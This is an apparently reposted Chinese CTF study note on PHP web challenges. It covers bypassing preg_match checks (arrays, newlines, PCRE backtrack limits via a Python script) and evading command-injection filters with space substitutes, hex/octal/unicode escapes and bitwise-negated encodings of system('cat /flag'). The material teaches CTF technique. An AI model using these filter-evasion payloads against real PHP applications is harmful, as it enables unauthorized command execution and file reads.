ctf web基础php

news2024/11/18 11:45:37

1.preg_match函数绕过

1.数组绕过

<?php
$pass=$_GET['zx'];
if(!preg_match("/admin/",$zx)==false){
	die('hacker');
}
echo 'flag';
?>

?zx[]=admin

2.换行符绕过

<?php
$pass=$_GET['zx'];
if(!preg_match("/^.(admin).$/",$zx)==false){
	die('hacker');
}
echo 'flag';
?>

?zx=%20admin

3.利用PCRE回溯次数限制绕过

function jiuzhe($xdmtql){ 
	return preg_match('/sys.*nb/is',$xdmtql); 
	} 
	
$xdmtql=@$_POST['xdmtql']; 

if(!is_array($xdmtql)){ 
    if(!jiuzhe($xdmtql)){ 
        if(strpos($xdmtql,'sys nb')!==false){ 
            echo 'flag{*******}'; 
        }else{ 
            echo 'true .swp file?'; 
        } 
    }else{
        echo 'nijilenijile';
    } 
}

这里is_arry过滤数组 

import requests
url='http://80b45bdd-e6de-4193-bc46-58bb19fc477f.www.polarctf.com:8090/'
data={'xdmtql':'sys nb'+"aaaaa" * 1000000}
r= requests.post(url=url,data=data)
print(r.text)

2.rce

1.找未过滤字符

1.命令执行函数

system() - 执行命令,返回最后一条命令输出
exec() - 执行命令,返回命令全部输出
shell_exec() - 通过shell执行命令,返回全部输出
passthru() - 执行命令,输出原始返回值
popen() - 打开管道执行命令

2.读取文件命令

cat -读取文件内容并输出
more - 分屏显示文件内容
less - 分页方式读取文件内容
head - 输出文件头部内容
tac - 从最后一行开始反向输出文件内容
tail - 输出文件尾部内容
nl - 输出行号和内容
od - 以二进制的方式读取档案内容
hd/hexdump - 以十六进制显示文件内容
strings - 输出二进制文件中的可打印字符串
sort - 对文本文件中的行进行排序
uniq - 去除文本文件中的重复行

、

3.空格替代

<
<>
${IFS}
$IFS
%20(space)
%09(tab)
$IFS$9
$IFS$1

2.字符串转义绕过

字符串转义绕过
适用PHP版本:PHP>=7
\x73\x79\x73\x74\x65\x6d\x27\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29;
#system('cat /flag') \x表示16进制
;
\163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51
#system('cat /flag'); \8进制
\u{115}\u{121}\u{115}\u{116}\u{101}\u{109}\u{40}\u{39}\u{99}\u{97}\u{116}\u{32}\u{47}\u{102}\u{108}\u{97}\u{103}\u{39}\u{41}
;#system('cat /flag');
\163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51("\167\150\157\141\155\151")
#system('cat /flag');

3.取反

<?php
var_dump(urlencode(~"system"));
var_dump(urlencode(~"cat /flag"));
?>

string(18) "%8C%86%8C%8B%9A%92"
string(27) "%9C%9E%8B%DF%D0%99%93%9E%98"

xdmtql=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1025279.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

兽医诊所温湿度失衡,该如何止损?

在现代社会中&#xff0c;宠物已经成为家庭的一员&#xff0c;人们越来越重视宠物的健康和幸福。兽医诊所作为照顾和治疗宠物的重要场所&#xff0c;不仅承担着宠物医疗护理的责任&#xff0c;还肩负着确保宠物在诊所内舒适、安全的任务。 然而&#xff0c;很多时候&#xff0c…

JMeter接口测试之文件上传

最近用JMeter做接口测试&#xff0c;频繁遇到了文件上传的接口&#xff0c;与其他一般接口的处理方式不一样&#xff0c;想着分享下&#xff0c;希望能给测试同学一点启发。 文章将围绕三个部分进行展开&#xff1a; 一、用户场景 二、接口请求参数 三、JMeter脚本编写步骤…

数字孪生相关政策梳理--数字孪生整体规划(可下载)

自2021年国家“十四五”规划纲要提出“探索建设数字孪生城市”以来&#xff0c;国家发展和改革委员会、工业和信息化部、住房和城乡建设部、水利部、农业农村部等部门纷纷出台政策&#xff0c;大力推动数字孪生在千行百业的落地发展。这些政策不仅为数字孪生的应用提供了广阔的…

期权策略篇: 实现买方狂欢,让卖方稳赚不赔的策略

欢迎来到期权策略篇: 实现买方狂欢&#xff0c;让卖方稳赚不赔的策略&#xff0c;今天给大家带来的期权策略比较简单&#xff0c;是我们比较常见的四种单腿期权策略&#xff0c;这四种策略分别是买入看涨期权、买入看跌期权、卖出看涨期权、卖出看跌期权策略。本文来自&#xf…

C. Binary Strings are Fun

Problem - C - Codeforces 思路&#xff1a;我们发现如果sisi-1&#xff0c;那么假设为00&#xff0c;用f[i-1]表示si-1能够组成的合法的个数&#xff0c;那么si-1扩展的字符串中至少会有i-1个0&#xff0c;那么si有两种放法&#xff0c;1种是放一个1&#xff0c;一种是放一个0…

python文件(概念、基本操作、常用操作、文本文件的编码方式)

嗨喽&#xff0c;大家好呀~这里是爱看美女的茜茜呐 &#x1f447; &#x1f447; &#x1f447; 更多精彩机密、教程&#xff0c;尽在下方&#xff0c;赶紧点击了解吧~ python源码、视频教程、插件安装教程、资料我都准备好了&#xff0c;直接在文末名片自取就可 1. 文件的概念…

python装13的一些写法

一些当你离职后&#xff0c;让老板觉拍大腿的代码 1. any(** in ** for ** in **) 判断某个集合元素&#xff0c;是否包含某个/某些元素 代码&#xff1a; if __name__ __main__:# 判断 list1 中是否包含某个/某些元素list1 [1,2,3,4]a any(x in [5,4] for x in list1) 输…

深拷贝与浅拷贝,就是这么简单

目录 1.拷贝的概念2.浅拷贝2.1. 浅拷贝的定义2.2. 浅拷贝的实现方式2.3 在内存中&#xff1a; 3. 深拷贝3.1. 深拷贝的定义3.2. 深拷贝的实现方式3.3 在内存中 4. 深拷贝与浅拷贝的区别5. 原型模式与深浅拷贝的关系6. 总结 1.拷贝的概念 在编程中&#xff0c;拷贝&#xff08;或…

循环神经网络--01 序列模型

生成数据 import torch from torch import nn from d2l import torch as d2lT 1000 time torch.arange(1,T1,dtypetorch.float32) x torch.sin(0.01*time)torch.normal(0,0.2,(T,)) d2l.plot(time,x,time,xlim[1,1000],figsize(6,3))将序列转换为特征-标签对&#xff08;fe…

【大数据之Kafka】十五、Kafka-Kraft模式

1 Kafka-Kraft架构 左图为 Kafka 现有架构&#xff0c;元数据在 zookeeper 中&#xff0c;运行时动态选举 controller&#xff0c;由controller 进行 Kafka 集群管理。   右图为 kraft 模式架构&#xff08;实验性&#xff09;&#xff0c;不再依赖 zookeeper 集群&#xff0…

以服务方式启动安防监控系统EasyNVR程序出现播放异常,是什么原因?

EasyNVR安防视频监控平台的特点是基于RTSP/Onvif协议&#xff0c;将前端设备统一接入&#xff0c;在平台进行转码、直播、处理及分发&#xff0c;在智慧安防视频监控场景中&#xff0c;EasyNVR可实现实时监控、云端录像、检索与回放、云存储、告警、级联等视频能力&#xff0c;…

湖南株洲三维扫描检测CNC机加工零件截面检测弧度测量-CASAIM中科广电

自工业时代开始以来&#xff0c;机械加工及零部件产业已经涵盖了各大电器零部件、汽车零部件、建筑机械零部件、航空航天零部件、海洋工程零部件等领域&#xff0c;涉及多种机械机床及工具仪器的制造。 零件在加工过程中&#xff0c;受制于加工工艺等各方面的因素&#xff0c;…

Tomcat调优【精简版】

Tomcat调优 优化Tomcat内存分配 调整Tomcat启动脚本contalina.sh,设置tomcat启动时分配的内存很可使用的最大内存; CATALINA_OPTS 调整Tomcat线程池 Tomcat默认使用的线程池:ThreadPoolExecutor 可以通过修改server.xml的 Connector 节点下的 maxThreads、minSpareThread…

关于删除的一些小纰漏

前端ajax如果传参不正确&#xff0c;会报500的错&#xff0c;可能是路径文件夹名字不对&#xff0c;一定要确认好&#xff0c;大写与小写的区别&#xff1a;question/QuestionStem_deleteList.do?ids"ids, 还有后面要加get请求后面要加"id",然后后面要加入传的…

004:vue使用relation-graph实现关系图谱

文章目录 1. 效果2. relation-graph简介3. 安装及使用4. 其他更多示例 1. 效果 2. relation-graph简介 这是一个Vue关系图谱组件&#xff0c;可以展示如组织机构图谱、股权架构图谱、集团关系图谱等知识图谱&#xff0c;可提供多种图谱布局&#xff0c;包括树状布局、中心布局…

神经网络训练防止过拟合和欠拟合的方法

神经网络训练防止过拟合和欠拟合的方法 1 过拟合的概念2 欠拟合的概念3 防止过拟合和欠拟合的方法 1 过拟合的概念 如上图所示&#xff0c;模型在训练时表现较好&#xff0c;在验证或测试时&#xff0c;表现较差&#xff0c;即表示过拟合。 过拟合的本质是模型对训练样本过度学…

Linux CentOS7 wc命令

wc命令的功能为统计指定文件中的字节数、字数、行数, 并将统计结果显示输出。 录入 man wc 可以查看相关信息 基本语法&#xff1a; wc [选项] 文件… 说明&#xff1a;该命令统计给定文件中的字节数、字数、行数。如果没有给出文件名&#xff0c;则从标准输入读取。wc同时也…

Online Fast Adaptive Low-Rank Similarity Learning for Cross-Modal Retrieval部分复现

表1 我的结果&#xff1a; R50条件下的均值&#xff1a;0.52889 Rall条件下的均值&#xff1a;0.430458

Vue 学习笔记 错误ResizeObserver loop completed with undelivered notifications

环境Vue3 Ts 使用了el-table 后&#xff0c;容易出现如下错误 ERROR ResizeObserver loop completed with undelivered notifications. at handleError (webpack-internal:///./node_modules/webpack-dev-server/client/overlay.js:299:58) at eval (webpack-internal:///./nod…

pytorch代码实现之动态卷积模块ODConv

ODConv动态卷积模块 ODConv可以视作CondConv的延续&#xff0c;将CondConv中一个维度上的动态特性进行了扩展&#xff0c;同时了考虑了空域、输入通道、输出通道等维度上的动态性&#xff0c;故称之为全维度动态卷积。ODConv通过并行策略采用多维注意力机制沿核空间的四个维度…